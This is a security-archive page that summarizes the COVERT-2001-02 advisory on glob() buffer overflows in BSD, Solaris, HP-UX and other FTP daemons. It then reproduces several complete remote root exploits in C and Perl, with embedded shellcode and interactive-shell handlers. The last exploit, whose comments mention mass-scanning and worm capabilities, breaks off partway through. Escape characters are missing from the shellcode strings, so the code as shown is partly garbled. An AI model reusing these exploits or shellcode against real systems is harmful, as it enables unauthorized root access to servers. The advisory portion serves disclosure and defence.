|
COMMAND ftpd SYSTEMS AFFECTED Multiple FTP Daemons PROBLEM Following is based on a Network Associates COVERT Labs Security Advisory COVERT-2001-02. Multiple FTP server implementations contain buffer overflows that allow local and remote attackers to gain root privileges on affected servers. These vulnerabilities are contingent upon the remote user having the ability to create directories on the server hosting the FTP daemon, with the exception of a few cases noted below. The vulnerabilities presented are all related to the use of the glob() function, and can be divided into the following two categories: - glob() expansion vulnerabilities User input that has been expanded by glob() can exceed expected lengths and trigger otherwise benign buffer mismanagement problems present in certain FTP daemons. - glob() implementation vulnerabilities Certain implementations of the glob() function contain buffer overflows. These vulnerabilities are exploitable through FTP daemons that utilize these problematic implementations. The following operating systems have been confirmed to contain vulnerable FTP daemons: FreeBSD 4.2 CAN-2001-0247 OpenBSD 2.8 NetBSD 1.5 IRIX 6.5.x HPUX 11 CAN-2001-0248 Solaris 8 CAN-2001-0249 UnixWare 7 CSSA-2001-SCO.27 glob() implements filename pattern matching, following rules similar to those used by Unix shells. It is a pathname generator, which accepts an input pattern representing a set of filenames and returns a list of accessible pathnames matching that pattern. The input pattern is specified by using special metacharacters, taken from the following: *?[]{}~\'. For example, a pattern of \'/e*\' would match all directories and files in the root of the file system that begin with the character \'e\'. The File Transfer Protocol (FTP), as defined in RFC959, describes numerous commands with pathname arguments that specify files or directories. Though it is not required by the specification, most FTP daemon implementations provide server-side globbing functionality that performs pattern expansion on these pathnames. The actual glob() implementation is often located in the FTP daemon itself, though some FTP servers use an underlying libc implementation. The ability of a remote or local user to deliver input patterns to glob() implementations allows for two general types of security exposures. glob() expansion vulnerabilities ================================ A number of vulnerabilities result from an FTP daemon assuming that the length of the user input is limited to the number of characters that are read in from the socket. This is typically 512 characters. This assumption is problematic because most FTP daemons contain a parser rule for processing pathnames beginning with a tilde. The intended effect of this rule is to replace the tilde directory component with the referenced home directory. However, since this is performed by running the string through the glob() function, the FTP daemon will also expand any other wildcard characters present. This allows for user input that can exceed the number of characters read in from the socket, which can make otherwise benign unbounded string operations exploitable. As mentioned above, when an FTP daemon receives a request involving a file that has a tilde as its first character, it typically runs the entire filename string through globbing code in order to resolve the specified home directory into a full path. This has the side effect of expanding other metacharacters in the pathname string, which can lead to very large input strings being passed into the main command processing routines. This can lead to exploitable buffer overflow conditions, depending upon how these routines manipulate their input. In Solaris, an exploitable heap overflow of this nature is triggered by using the LIST command. This vulnerability occurs when the FTP daemon attempts to construct a string using unbounded string operations in order to execute the /bin/ls program. HPUX contains a stack based overflow of this nature that can be triggered by the use of the STAT command. glob() implementation vulnerabilities ===================================== Certain glob() implementations contain buffer overflows in their internal utility functions. These overflows are typically triggered by requesting a pattern that expands to a very large pathname, or by submitting a pattern that the user intends to have the FTP daemon run through glob() twice. There are two implementations of glob() that are known to contain buffer overflow vulnerabilities. Implementations based off of the c-shell globbing code contain a buffer overflow that can be triggered by supplying a pattern string such that a set of brackets {} is followed by a string that is longer than the length reserved for the stack based buffer defined in execbrc(). This could be exploited by utilizing a code path in the FTP daemon that fed the expanded output of one globbed pathname into a second call to glob(). BSD implementations of glob() contain four exploitable buffer overflows. The first buffer overflow occurs in the static utility function g_opendir(), which copies the provided pathname onto the stack. This is performed using the function g_Ctoc, which converts a 16-bit character string to an 8-bit character string, but otherwise works like strcpy. Similar overflows occur in g_lstat(), and g_stat(). A fourth overflow, one that affects the stack based buffer reserved in glob0, is the result of the behavior of the mutually recursive functions glob2() and glob3(). Note that these vulnerabilities do not require the last component of the provided directory to be a valid file, thus allowing exploitation even without the ability to create directories and files. Testing has shown that it would be possible to exploit OpenBSD and NetBSD without a writable directory being present if a directory name with a length of 12 characters is available. FreeBSD can be exploited without a writable directory being present if a directory name of length 9 is available. Discovery and documentation of these vulnerabilities was conducted by John McDonald and Anthony Osborne of the COVERT Labs at PGP Security. Tomas Kindahl posted OpenBSD 2.8 ftpd/glob exploit: /* OpenBSD 2.x - 2.8 ftpd exploit. It is possible to exploit an anonymous ftp without write permission under certain circumstances. One is most likely to succeed if there is a single directory somewhere with more than 16 characters in its name. Of course, if one has write permissions, one could easily create such a directory. My return values aren\'t that good. Find your own. Patch is available at http://www.openbsd.org/errata.html Example: ftp> pwd 257 \"/test\" is current directory. ftp> dir 229 Entering Extended Passive Mode (|||12574|) 150 Opening ASCII mode data connection for \'/bin/ls\'. total 2 drwxr-xr-x 2 1000 0 512 Apr 14 14:14 12345678901234567 226 Transfer complete. ..... $ ./leheehel -c /test -l 17 -s0xdfbeb970 localhost // 230 Guest login ok, access restrictions apply. // 250 CWD command successful. retaddr = dfbeb970 Press enter.. remember to remove the \"adfa\"-dir id uid=0(root) gid=32766(nogroup) groups=32766(nogroup) The shellcode basically does: seteuid(0); a = open(\"..\", O_RDONLY); mkdir(\"adfa\", 555); chroot(\"adfa\"); fchdir(a); for(cnt = 100; cnt; cnt--) chdir(\"..\"); chroot(\"..\"); execve(\"/bin//sh\", ..); Credits: COVERT for their advisory. The OpenBSD devteam for a great OS. beercan for letting me test this on his OpenBSD 2.8-RELEASE Author: Tomas Kindahl <stok@codefactory.se> Stok@{irc,ef}net */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> extern char *optarg; static int debug; int cflag, lflag, sflag; /* The execve-part was stolen from \"predator\" */ char shellcode[] = \"x31xc0x50x50xb0xb7xcdx80\" \"x58x50x66x68x2ex2ex89xe1\" \"x50x51x50xb0x05xcdx80x89\" \"xc3x58x50x68x61x64x66x61\" \"x89xe2x66x68x6dx01x52x50\" \"xb0x88xcdx80xb0x3dxcdx80\" \"x53x50xb0x01x83xc0x0cxcd\" \"x80x51x50x31xc9xb1x64xb0\" \"x0cxcdx80xe2xfaxb0x3dxcd\" \"x80x31xc0x50x68x2fx2fx73\" \"x68x68x2fx62x69x6ex89xe3\" \"x50x53x50x54x53xb0x3bx50\" \"xcdx80xc3\"; #define USER \"USER ftprn\" #define PASS \"PASS -user@rn\" void usage(const char *); void docmd(int s, const char *cmd, int print); void communicate(int s); int main(int argc, char *argv[]) { char expbuf[512] = \"LIST \", *basedir, option; char commandbuf[512] = \"\", *hostname; int cnt, dirlen, explen, sendlen; int s, port = 21, pad; long retaddr; struct sockaddr_in sin; struct hostent *he; while((option = getopt(argc, argv, \"dc:l:p:s:\")) != -1) switch(option) { case \'d\': debug++; break; case \'c\': cflag = 1; basedir = optarg; break; case \'l\': lflag = 1; dirlen = atoi(optarg); if(dirlen < 16) { usage(argv[0]); exit(0); } break; case \'p\': port = atoi(optarg); break; case \'s\': sflag = 1; retaddr = strtoul(optarg, 0, 0); break; default: usage(argv[0]); exit(0); } if(!cflag || !lflag) { usage(argv[0]); exit(0); } if(argc - optind == 1) hostname = argv[optind]; else { usage(argv[0]); exit(0); } if((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror(\"socket\"); exit(1); } if((he = gethostbyname(hostname)) == NULL) { herror(hostname); exit(0); } memset(&sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_port = htons(port); memcpy(&sin.sin_addr, he->h_addr_list[0], sizeof(struct in_addr)); if(connect(s, (struct sockaddr *) &sin, sizeof(struct sockaddr_in)) == -1) { perror(\"connect\"); exit(0); } if(debug) fprintf(stderr, \"// basedir = \"%s\"n\", basedir); /* \"untrusted input\"? */ for(cnt = 0; cnt < 1024/(dirlen+4)-1; cnt++) strcat(expbuf, \"*/../\"); strcat(expbuf, \"*/\"); if(debug) fprintf(stderr, \"// expbuf = \"%s\"n\", expbuf); explen = cnt*(dirlen+4) + dirlen + 1; if(debug) fprintf(stderr, \"// explen = %dn\", explen); sendlen = strlen(expbuf); if(debug) fprintf(stderr, \"// sendlen = %dn\", sendlen); docmd(s, \"\", 0); docmd(s, USER, 0); docmd(s, PASS, 1); snprintf(commandbuf, sizeof(commandbuf), \"CWD %srn\", basedir); docmd(s, commandbuf, 1); /*************************/ pad = 1027 - explen; if(debug) fprintf(stderr, \"// pad = %dn\", pad); for(; pad >= 0; pad--) strcat(expbuf, \"x\"); /* return address */ if(!sflag) { switch(dirlen) { case 16: retaddr = 0xdfbeab60; case 26: retaddr = 0xdfbefe40; default: /* I don\'t have the patience to investigate this. */ retaddr = 0xdfbeba20 + (dirlen-17)*0x9c0; } retaddr+=20; } fprintf(stderr, \"retaddr = %.8lxn\", retaddr); /* endian dependant */ strncat(expbuf, (char *) &retaddr, 4); for(cnt = strlen(expbuf); cnt < 508-strlen(shellcode); cnt++) strcat(expbuf, \"x90\"); strcat(expbuf, shellcode); strcat(expbuf, \"rn\"); /*************************/ fprintf(stderr, \"Press enter..\"); fflush(stderr); fgets(commandbuf, sizeof(commandbuf)-1, stdin); docmd(s, expbuf, 0); fprintf(stderr, \"remember to remove the \"adfa\"-dirn\"); communicate(s); return 0; } void usage(const char *s) { fprintf(stderr, \"Usage %s [-s retaddr] [-d] -c dir -l dirlen(>=16) [-p port] hostnamen\", s); } void docmd(int s, const char *cmd, int print) { char uglybuf[1024]; int len; fd_set rfds; struct timeval tv; len = strlen(cmd); if(debug) { write(STDERR_FILENO, \"\\\\ \", 3); write(STDERR_FILENO, cmd, len); } if(send(s, cmd, len, 0) != len) { perror(\"send\"); exit(0); } FD_ZERO(&rfds); FD_SET(s, &rfds); tv.tv_sec = 1; tv.tv_usec = 0; select(s+1, &rfds, NULL, NULL, &tv); if(FD_ISSET(s, &rfds)) { if((len = recv(s, uglybuf, sizeof(uglybuf), 0)) < 0) { perror(\"recv\"); exit(0); } if(len == 0) { fprintf(stderr, \"EOF on socket. Sorry.n\"); exit(0); } if(debug || print) { write(STDERR_FILENO, \"// \", 3); write(STDERR_FILENO, uglybuf, len); } } } void communicate(int s) { char buf[1024]; int len; fd_set rfds; while(1) { FD_ZERO(&rfds); FD_SET(STDIN_FILENO, &rfds); FD_SET(s, &rfds); select(s+1, &rfds, NULL, NULL, NULL); if(FD_ISSET(STDIN_FILENO, &rfds)) { if((len = read(STDIN_FILENO, buf, sizeof(buf))) <= 0) return; if(send(s, buf, len, 0) == -1) return; } if(FD_ISSET(s, &rfds)) { if((len = recv(s, buf, sizeof(buf), 0)) <= 0) return; if(write(STDOUT_FILENO, buf, len) == -1) return; } } } \'fish stiqz\' posted following. You must have an account on the system to be able to use the exploit. You could theoretically be an anonymous user with access to a writeable directory, but it would require a chroot break, which is not included in the exploit. turkey2.c works by default on all unpatched FreeBSD 4.[0-2] running the default ftp server and OpenBSD 2.8. It should work elsewhere with a tiny bit of tuning. /* * turkey2.c - \"gobble gobble\" * * REMOTE ROOT EXPLOIT FOR BSD FTPD * by: fish stiqz <fish@analog.org> 04/14/2001 * * shouts: trey, dono, hampton and The Analog Organization. * * Notes: * Doesn\'t break chroot so requires an account. * * Fixed a design issue I had previously overlooked. * Added support for OpenBSD 2.8 =). * */ #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <time.h> #include <ctype.h> #include <pwd.h> #define FTP_PORT 21 #define MAXX(a,b) ((a) < (b) ? (b) : (a)) #define NOP 0x41 /* inc %ecx, works just like a nop, easier to read */ extern int errno; int debug_read; int debug_write; /* * Non-ripped 45 byte bsd shellcode which does setuid(0) and execve() * and does not contain any \'/\' characters. */ char bsdcode[] = \"x29xc0x50xb0x17x50xcdx80\" \"x29xc0x50xbfx66x69x73x68\" \"x29xf6x66xbex49x46x31xfe\" \"x56xbex49x0bx1ax06x31xfe\" \"x56x89xe3x50x54x50x54x53\" \"xb0x3bx50xcdx80\"; /* architecture structure */ struct arch { char *description; char *shellcode; unsigned long code_addr; }; /* available targets */ struct arch archlist[] = { { \"FreeBSD 4.X (FTP server (Version 6.00LS))\", bsdcode, 0xbfbfc2c8 }, { \"OpenBSD 2.8 (FTP server (Version 6.5/OpenBSD))\", bsdcode, 0xdfbfa1c8 } }; /* * function prototypes. */ void *Malloc(size_t); void *Realloc(void *, size_t); char *Strdup(char *); int get_ip(struct in_addr *, char *); int tcp_connect(char *, unsigned int); ssize_t write_sock(int, char *); int sock_readline(int, char *, int); char *read_sock(int); int ftp_login(int, char *, char *); char *ftp_gethomedir(int); int ftp_mkdir(int, char *); int ftp_chdir(int, char *); int ftp_quit(int); void possibly_rooted(int); char *random_string(void); void send_glob(int, char *); int ftp_glob_exploit(int, char *, unsigned long, char *); int verify_shellcode(char *); void usage(char *); void list_targets(void); /* * Error cheq\'n wrapper for malloc. */ void *Malloc(size_t n) { void *tmp; if((tmp = malloc(n)) == NULL) { fprintf(stderr, \"malloc(%u) failed! exiting...n\", n); exit(EXIT_FAILURE); } return tmp; } /* * Error cheq\'n realloc. */ void *Realloc(void *ptr, size_t n) { void *tmp; if((tmp = realloc(ptr, n)) == NULL) { fprintf(stderr, \"realloc(%u) failed! exiting...n\", n); exit(EXIT_FAILURE); } return tmp; } /* * Error cheq\'n strdup. */ char *Strdup(char *str) { char *s; if((s = strdup(str)) == NULL) { fprintf(stderr, \"strdup failed! exiting...n\"); exit(EXIT_FAILURE); } return s; } /* * translates a host from its string representation (either in numbers * and dots notation or hostname format) into its binary ip address * and stores it in the in_addr struct passed in. * * return values: 0 on success, != 0 on failure. */ int get_ip(struct in_addr *iaddr, char *host) { struct hostent *hp; /* first check to see if its in num-dot format */ if(inet_aton(host, iaddr) != 0) return 0; /* next, do a gethostbyname */ if((hp = gethostbyname(host)) != NULL) { if(hp->h_addr_list != NULL) { memcpy(&iaddr->s_addr, *hp->h_addr_list, sizeof(iaddr->s_addr)); return 0; } return -1; } return -1; } /* * initiates a tcp connection to the specified host (either in * ip format (xxx.xxx.xxx.xxx) or as a hostname (microsoft.com) * to the host\'s tcp port. * * return values: != -1 on success, -1 on failure. */ int tcp_connect(char *host, unsigned int port) { int sock; struct sockaddr_in saddress; struct in_addr *iaddr; iaddr = Malloc(sizeof(struct in_addr)); /* write the hostname information into the in_addr structure */ if(get_ip(iaddr, host) != 0) return -1; saddress.sin_addr.s_addr = iaddr->s_addr; saddress.sin_family = AF_INET; saddress.sin_port = htons(port); /* create the socket */ if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) return -1; /* make the connection */ if(connect(sock, (struct sockaddr *) &saddress, sizeof(saddress)) != 0) { close(sock); return -1; } /* everything succeeded, return the connected socket */ return sock; } /* * a wrapper for write to enable us to do some debugging. */ int write_sock(int fd, char *buf) { if(debug_write) printf(\" > %s\", buf); return write(fd, buf, strlen(buf)); } /* * reads a line from the socket, stores it into buffer, * doesnt null terminate. */ int sock_readline(int sock, char *buffer, int maxsize) { int x, r; char rchar; for(x = 0; x < maxsize; x++) { /* read in one character from the socket */ if((r = read(sock, &rchar, 1)) == 1) { buffer[x] = rchar; if(rchar == \'n\') break; } else return -1; } return x; } /* * reads in an entire message from the ftp server. */ char *read_sock(int sock) { char ibuf[8192], *bigbuf = NULL; int r; unsigned int total = 0; for(;;) { memset(ibuf, 0x0, sizeof(ibuf)); r = sock_readline(sock, ibuf, sizeof(ibuf) - 1); bigbuf = Realloc(bigbuf, (total + strlen(ibuf) + 1) * sizeof(char)); memcpy(bigbuf + total, ibuf, strlen(ibuf)); bigbuf[total + strlen(ibuf)] = 0x0; total += strlen(ibuf); if(strlen(ibuf) < 4) break; /* multi-lined responses have a dash as the 4th character */ if(ibuf[3] != \'-\') break; } if(debug_read) { printf(\" < %s\", bigbuf); fflush(stdout); } return bigbuf; } /* * FTP LOGIN function. Issues a \"USER <username> and then \"PASS <password>\" * to login to the remote host and checks that command succeeded. */ int ftp_login(int sock, char *username, char *password) { char *recvbuf; char *sendbuf; char *header; header = read_sock(sock); printf(\"tserver runs:t%s\", header); free(header); sendbuf = Malloc((MAXX(strlen(username), strlen(password)) + 7) * sizeof(char)); sprintf(sendbuf, \"USER %sn\", username); write_sock(sock, sendbuf); recvbuf = read_sock(sock); if(atoi(recvbuf) != 331) { free(recvbuf); return 0; } sprintf(sendbuf, \"PASS %sn\", password); write_sock(sock, sendbuf); recvbuf = read_sock(sock); if(atoi(recvbuf) != 230) { free(recvbuf); return 0; } free(sendbuf); return 1; } /* * FTP GET HOME DIR function. Issues a \"CWD ~\" and \"PWD\" to * force the ftp daemon to print our our current directory. */ char *ftp_gethomedir(int sock) { char *recvbuf; char *homedir = NULL; write_sock(sock, \"CWD ~n\"); recvbuf = read_sock(sock); if(atoi(recvbuf) == 250) { write_sock(sock, \"PWDn\"); recvbuf = read_sock(sock); if(atoi(recvbuf) == 257) { char *front, *back; front = strchr(recvbuf, \'\"\'); front++; back = strchr(front, \'\"\'); homedir = Malloc((back - front) * sizeof(char)); strncpy(homedir, front, (back - front)); homedir[(back - front)] = 0x0; } } free(recvbuf); return homedir; } /* * FTP MKDIR function. Issues an \"MKD <dirname>\" to create a directory on * the remote host and checks that the command succeeded. */ int ftp_mkdir(int sock, char *dirname) { char *recvbuf; char *sendbuf; sendbuf = Malloc((strlen(dirname) + 6) * sizeof(char)); sprintf(sendbuf, \"MKD %sn\", dirname); write_sock(sock, sendbuf); recvbuf = read_sock(sock); free(sendbuf); if(atoi(recvbuf) == 257) { free(recvbuf); return 1; } free(recvbuf); return 0; } /* * FTP CWD function. Issues a \"CWD <dirname>\" to change directory on * the remote host and checks that the command succeeded. */ int ftp_chdir(int sock, char *dirname) { char *recvbuf; char *sendbuf; sendbuf = Malloc((strlen(dirname) + 6) * sizeof(char)); sprintf(sendbuf, \"CWD %sn\", dirname); write_sock(sock, sendbuf); recvbuf = read_sock(sock); free(sendbuf); if(atoi(recvbuf) == 250) { free(recvbuf); return 1; } free(recvbuf); return 0; } /* * FTP QUIT function. Issues a \"QUIT\" to terminate the connection. */ int ftp_quit(int sock) { char *recvbuf; write_sock(sock, \"QUITn\"); recvbuf = read_sock(sock); free(recvbuf); close(sock); return 1; } /* * switches between the user and the remote shell (if everything went well). */ void possibly_rooted(int sock) { char banner[] = \"cd /; echo; uname -a; echo; id; echo; echo Welcome to the shell, \" \"enter commands at will; echo;nn\"; char buf[1024]; fd_set fds; int r; write(sock, banner, strlen(banner)); for(;;) { FD_ZERO(&fds); FD_SET(fileno(stdin), &fds); FD_SET(sock, &fds); select(255, &fds, NULL, NULL, NULL); if(FD_ISSET(sock, &fds)) { memset(buf, 0x0, sizeof(buf)); r = read (sock, buf, sizeof(buf) - 1); if(r <= 0) { printf(\"Connection closed.n\"); exit(EXIT_SUCCESS); } printf(\"%s\", buf); } if(FD_ISSET(fileno(stdin), &fds)) { memset(buf, 0x0, sizeof(buf)); read(fileno(stdin), buf, sizeof(buf) - 1); write(sock, buf, strlen(buf)); } } close(sock); } /* * generates a string of 6 random characters. * this is too allow for multiple successful runs, best way to do * this is to actually remove the created directories. */ char *random_string(void) { int i; char *s = Malloc(7 * sizeof(char)); srand(time(NULL)); for(i = 0; i < 6; i++) s[i] = (rand() % (122 - 97)) + 97; s[i] = 0x0; return s; } /* * sends the glob string, to overflow the daemon. */ void send_glob(int sock, char *front) { char globbed[] = \"CWD ~/NNNNNN*/X*/X*/X*n\"; int i, j; for(i = 6, j = 0; i < 6 + 6; i++, j++) globbed[i] = front[j]; write_sock(sock, globbed); printf(\"[5] Globbed commands sent.n\"); free(front); /* start our shell handler */ possibly_rooted(sock); } /* * Exploitation routine. * Makes 4 large directories and then cwd\'s to them. */ int ftp_glob_exploit(int sock, char *homedir, unsigned long addy, char *shellcode) { char dir[300]; int i = 0, j = 0; int total = strlen(homedir) + 1; int align; char *rstring = random_string(); /* go to the writeable directory */ if(!ftp_chdir(sock, homedir)) { fprintf(stderr, \"[-] Failed to change directory, aborting!n\"); return 0; } for(i = 0; i < 4; i++) { memset(dir, 0x0, sizeof(dir)); switch(i) { case 0: /* first dir == shellcode */ memcpy(dir, rstring, strlen(rstring)); memset(dir + strlen(rstring), NOP, 255 - strlen(rstring)); memcpy(&dir[(255 - strlen(shellcode))], shellcode, strlen(shellcode)); break; case 3: /* address buffer */ /* calculate the alignment */ align = total % sizeof(long); align = sizeof(long) - align; printf(\"[3] Calculated alignment = %d, total = %dn\", align, total); strcpy(dir, \"XXXX\"); memset(dir + 4, \'X\', align); for(j = 4 + align; j < 250; j += 4) { /* leet portable bit shifting */ /* brought to you by trey */ unsigned long p_addy = htonl(addy); dir[j + 0] = p_addy & 0xff; dir[j + 1] = (p_addy & 0xff00) >> 8; dir[j + 2] = (p_addy & 0xff0000) >> 16; dir[j + 3] = (p_addy & 0xff000000) >> 24; } break; default: /* cases 1 and 2, extra overflow bytes */ memset(dir, \'X\', 255); break; } total += strlen(dir) + 1; if(!ftp_mkdir(sock, dir)) { fprintf(stderr, \"[-] Failed to generate directories, aborting!n\"); return 0; } if(!ftp_chdir(sock, dir)) { fprintf(stderr, \"[-] Failed to change directory, aborting!n\"); return 0; } } printf(\"[4] Evil directories created.n\"); if(!ftp_chdir(sock, homedir)) { fprintf(stderr, \"[-] Failed to cwd back to %s, aborting!n\", homedir); return 0; } /* perform the final attack */ send_glob(sock, rstring); return 1; } /* * returns true if the shellcode passes, false otherwise. */ int verify_shellcode(char *code) { int i, s = 0; if(strlen(code) > 255) { fprintf(stderr, \"[-] Shellcode length exceeds 255, aborting!n\"); return 0; } for(i = 0; i < strlen(code); i++) { if(code[i] == \'/\') s++; } if(s > 0) { fprintf(stderr, \"[-] Shellcode contains %u slash characters, abortingn\", s); return 0; } return 1; } /* * displays the usage message and exits. */ void usage(char *p) { fprintf(stderr, \"BSD ftpd remote exploit by fish stiqz <fish@analog.org>n\" \"usage: %s [options]n\" \"t-ctremote host to connect ton\" \"t-otremote port to usen\" \"t-utremote usernamen\" \"t-ptremote passwordn\" \"t-itget the password interactivelyn\" \"t-ttpredefined target (\"-t list\" to list all targets)n\" \"t-dtwriteable directoryn\" \"t-ltshellcode addressn\" \"t-vtdebug level [0-2]n\" \"t-stseconds to sleep after login (debugging purposes)n\" \"t-htdisplay this helpn\", p); exit(EXIT_FAILURE); } /* * lists all available targets. */ void list_targets(void) { int i; printf(\"Available Targets:n\"); for(i = 0; i < sizeof(archlist) / sizeof(struct arch); i++ ) printf(\"%i: %sn\", i, archlist[i].description); return; } int main(int argc, char **argv) { int sock, c; int port = FTP_PORT; int debuglevel = 0; char *host = NULL; char *username = NULL; char *password = NULL; struct arch *arch = NULL; char *shellcode = bsdcode; int target = 0; int sleep_time = 0; unsigned long code_addr = 0; char *homedir = NULL;; /* grab command line parameters */ while((c = getopt(argc, argv, \"c:o:u:p:it:d:l:v:s:h\")) != EOF) { switch(c) { case \'c\': host = Strdup(optarg); break; case \'o\': port = atoi(optarg); break; case \'u\': username = Strdup(optarg); break; case \'p\': password = Strdup(optarg); /* hide the password from ps */ memset(optarg, \'X\', strlen(optarg)); break; case \'i\': password = getpass(\"Enter remote password: \"); break; case \'t\': if(strcmp(optarg, \"list\") == 0) { list_targets(); return EXIT_FAILURE; } target = atoi(optarg); arch = &(archlist[target]); code_addr = ntohl(arch->code_addr); shellcode = arch->shellcode; break; case \'d\': homedir = Strdup(optarg); break; case \'l\': code_addr = ntohl(strtoul(optarg, NULL, 0)); break; case \'v\': debuglevel = atoi(optarg); break; case \'s\': sleep_time = atoi(optarg); break; default: usage(argv[0]); break; } } /* check for required options */ if(host == NULL || username == NULL || password == NULL || code_addr == 0) usage(argv[0]); /* setup the debug level */ switch(debuglevel) { case 1: debug_read = 1; debug_write = 0; break; case 2: debug_read = 1; debug_write = 1; break; default: debug_read = 0; debug_write = 0; break; } /* make sure the shellcode is good */ if(!verify_shellcode(shellcode)) return EXIT_FAILURE; /* initiate the tcp connection to the ftp server */ if((sock = tcp_connect(host, port)) == -1) { fprintf(stderr, \"[-] Connection to %s failed!n\", host); ftp_quit(sock); return EXIT_FAILURE; } if(arch == NULL) printf(\"[0] Connected to host %s.n\", host); else printf(\"[0] Connected to host %sntusing type:t%s.n\", host, arch->description); /* login */ if(!ftp_login(sock, username, password)) { fprintf(stderr, \"[-] Login failed, aborting!n\"); ftp_quit(sock); return EXIT_FAILURE; } /* hey, so im anal! */ memset(password, \'X\', strlen(password)); memset(username, \'X\', strlen(username)); printf(\"[1] Login succeeded.n\"); if(sleep != 0) sleep(sleep_time); if(homedir == NULL) { /* get home directory */ if((homedir = ftp_gethomedir(sock)) == NULL) { fprintf(stderr, \"[-] Couldn\'t retrieve home directory, aborting!n\"); ftp_quit(sock); return EXIT_FAILURE; } } printf(\"[2] Home directory retrieved as \"%s\", %u bytes.n\", homedir, strlen(homedir)); /* do the exploitation */ if(!ftp_glob_exploit(sock, homedir, code_addr, shellcode)) { fprintf(stderr, \"[-] exploit failed, aborting!n\"); ftp_quit(sock); return EXIT_FAILURE; } free(host); return EXIT_SUCCESS; } This is another version of globbing exploit. It creates only one directory. #!/usr/bin/perl ############################################################################### # glob() ftpd remote root exploit for freebsd 4.2-stable # # # # babcia padlina ltd. / venglin@freebsd.lublin.pl # # # # this version requires user access and writeable homedir without chroot. # ############################################################################### require 5.002; use strict; use sigtrap; use Socket; my($recvbuf, $host, $user, $pass, $iaddr, $paddr, $proto, $code, $ret, $off, $align, $rin, $rout, $read); # teso shellcode ripped from 7350obsd $code = \"x31xc0x99x52x52xb0x17xcdx80x68xccx73x68xccx68\"; $code .= \"xccx62x69x6exb3x2exfexc3x88x1cx24x88x5cx24x04\"; $code .= \"x88x54x24x07x89xe6x8dx5ex0cxc6x03x2ex88x53x01\"; $code .= \"x52x53x52xb0x05xcdx80x89xc1x8dx5ex05x6axedx53\"; $code .= \"x52xb0x88xcdx80x53x52xb0x3dxcdx80x51x52xb0x0c\"; $code .= \"x40xcdx80xbbxccxccxccxccx81xebx9ex9ex9dxccx31\"; $code .= \"xc9xb1x10x56x01xcex89x1ex83xc6x03xe0xf9x5ex8d\"; $code .= \"x5ex10x53x52xb0x3dxcdx80x89x76x0cx89x56x10x8d\"; $code .= \"x4ex0cx52x51x56x52xb0x3bxcdx80xc9xc3x55x89xe5\"; $code .= \"x83xecx08xebx12xa1x3cx50x90\"; #$ret = 0xbfbfeae8; - stos lagoona #$ret = 0x805baf8; - bss info $ret = 0x805e23a; # - bss lagoon if (@ARGV < 3) { print \"Usage: $0 <hostname> <username> <password> [align] [offset]n\"; exit; } ($host, $user, $pass, $align, $off) = @ARGV; if (defined($off)) { $ret += $off; } if (!defined($align)) { $align = 1; } print \"Globulka v1.0 by venglin@freebsd.lublin.plnn\"; print \"RET: 0x\" . sprintf(\'%lx\', $ret) . \"n\"; print \"Align: $alignnn\"; $iaddr = inet_aton($host) or die \"Unknown host: $hostn\"; $paddr = sockaddr_in(21, $iaddr) or die \"getprotobyname: $!n\"; $proto = getprotobyname(\'tcp\') or die \"getprotobyname: $!n\"; socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die \"socket: $!n\"; connect(SOCKET, $paddr) or die \"connect: $!n\"; do { $recvbuf = <SOCKET>; } while($recvbuf =~ /^220- /); print $recvbuf; if ($recvbuf !~ /^220 .+/) { die \"Exploit failed.n\"; } send(SOCKET, \"USER $userrn\", 0) or die \"send: $!n\"; $recvbuf = <SOCKET>; if ($recvbuf !~ /^(331|230) .+/) { print $recvbuf; die \"Exploit failed.n\"; } send(SOCKET, \"PASS $passrn\", 0) or die \"send: $!n\"; $recvbuf = <SOCKET>; if ($recvbuf !~ /^230 .+/) { print $recvbuf; die \"Exploit failed.n\"; } else { print \"Logged in as $user/$pass. Sending evil STAT command.nn\"; } send(SOCKET, \"MKD \" . \"A\"x255 . \"rn\", 0) or die \"send: $!n\"; $recvbuf = <SOCKET>; if ($recvbuf !~ /^(257|550) .+/) { print $recvbuf; die \"Exploit failed.n\"; } send(SOCKET, \"STAT A*/../A*/../A*/\" . \"x90\" x (90+$align) . $code . pack(\'l\', $ret) x 30 . \"rn\", 0) or die \"send: $!n\"; sleep 1; send(SOCKET, \"idn\", 0) or die \"send: $!n\"; $recvbuf = <SOCKET>; if ($recvbuf !~ /^uid=.+/) { die \"Exploit failed.n\"; } else { print $recvbuf; } vec($rin, fileno(STDIN), 1) = 1; vec($rin, fileno(SOCKET), 1) = 1; for(;;) { $read = select($rout=$rin, undef, undef, undef); if (vec($rout, fileno(STDIN), 1) == 1) { if (sysread(STDIN, $recvbuf, 1024) == 0) { exit; } send(SOCKET, $recvbuf, 0); } if (vec($rout, fileno(SOCKET), 1) == 1) { if (sysread(SOCKET, $recvbuf, 1024) == 0) { exit; } syswrite(STDIN, $recvbuf, 1024); } } close SOCKET; exit; Another code by dvorak, Scrippie and jimjones: /* This source code is proprietary material. Commercial use, distribution, modification or use of any part of this source code in any form is strictly prohibited. Non-commercial use, modification and distribution is allowed, as long as any modification is made known to the author. Not fully developed exploit but it works most of the time ;) Things to add: - automatic writeable directory finding - syn-scan option to do mass-scanning - worm capabilities? (should be done seperatly using the -C option 11/13/2000 */ #include <stdio.h> #include <netdb.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/types.h> #include <unistd.h> #include <limits.h> void usage(char *program); char *strcreat(char *, char *, int); char *longToChar(unsigned long); char *xrealloc(void *, size_t); void xfree(char **ptr); char *xmalloc(size_t); int xconnect(char *host, u_short port); void xsend(int fd, char *buf); void xsendftpcmd(int fd, char *command, char *param); void xrecieveall(int fd, char *buf, int size); void xrecieve(int fd, char *buf, int size); void ftp_login(int fd, char *user, char *password); void exploit(int fd); int verbose = 0; /* Written by dvorak, garbled up by \"Smegma\" with a word xor 0xaabb mask to get rid of dots and slashes. */ char heavenlycode[] = \"x31xc0x89xc1x80xc1x02x51x50x04x5ax50xcdx80\" \"xebx10x5ex31xc9xb1x4ax66x81x36xbbxaax46x46xe2xf7xebx05xe8\" 